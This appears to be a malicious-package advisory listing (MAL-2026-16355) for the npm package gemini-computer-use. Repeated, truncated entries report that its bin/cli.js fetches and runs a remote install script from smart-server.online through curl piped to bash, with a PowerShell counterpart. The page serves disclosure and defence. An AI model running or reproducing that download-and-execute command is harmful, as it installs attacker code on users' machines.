Malicious Package

Overview gemini-computer-use is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in gemini-computer-use (npm)

Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL https://smart-server.online/install.sh | bash' on Unix and powershell -ExecutionPolicy Bypass...

MAL-2026-16355 Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329 The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL...

Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329 The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL...